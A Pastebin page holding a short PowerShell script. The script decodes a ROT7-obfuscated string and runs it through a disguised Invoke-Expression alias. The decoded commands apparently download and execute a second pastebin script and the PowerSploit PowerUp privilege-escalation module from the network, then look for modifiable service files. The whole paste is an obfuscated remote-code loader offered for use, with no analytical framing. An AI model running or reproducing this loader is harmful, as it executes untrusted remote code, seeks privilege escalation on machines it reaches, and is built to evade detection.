Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Begin{
- [Int32[]]$Rot=7
- [string]$Text="pl!/p~y/.o{{wzA66whz{lipu5jvt6yh~6t|xRwlKt.00B pl!/p~y/.o{{wzA66yh~5np{o|i|zlyjvu{lu{5jvt6Wv~lyZolssThmph6Wv~lyZwsvp{6thz{ly6Wyp}lzj6Wv~ly\w5wz8.00 B Nl{4TvkpmphislZly}pjlMpsl 4]lyivzl"
- [System.Collections.ArrayList]$AsciiChars = @()
- $CharsIndex = 1
- $StartAscii = 33
- $EndAscii = 126
- #Add chars from ascii table
- ForEach($i in $StartAscii..$EndAscii)
- {
- $Char = [char]$i
- [pscustomobject]$Result = @{
- Index = $CharsIndex
- Char = $Char
- }
- [void]$AsciiChars.Add($Result)
- $CharsIndex++
- }
- }
- Process{
- ForEach($Rot2 in $Rot)
- {
- $ResultText = [String]::Empty
- #Go through each char in string
- ForEach($i in 0..($Text.Length -1))
- {
- $CurrentChar = $Text.Substring($i, 1)
- If(($AsciiChars.Char -ccontains $CurrentChar) -and ($CurrentChar -ne " ")) # Upper chars
- {
- [int]$NewIndex = ($AsciiChars | Where-Object {$_.Char -ceq $CurrentChar}).Index - $Rot2
- If($NewIndex -lt 1)
- {
- $NewIndex += $AsciiChars.Count
- $ResultText += ($AsciiChars | Where-Object {$_.Index -eq $NewIndex}).Char
- }
- Else
- {
- $ResultText += ($AsciiChars | Where-Object {$_.Index -eq $NewIndex}).Char
- }
- }Else{$ResultText += $CurrentChar}
- }
- Try{#EXECUTE
- echo "$ResultText"|&(DIR Alias:/I*X)
- }catch{Write-Host "x Error: execution failed .." -ForeGroundColor red}
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment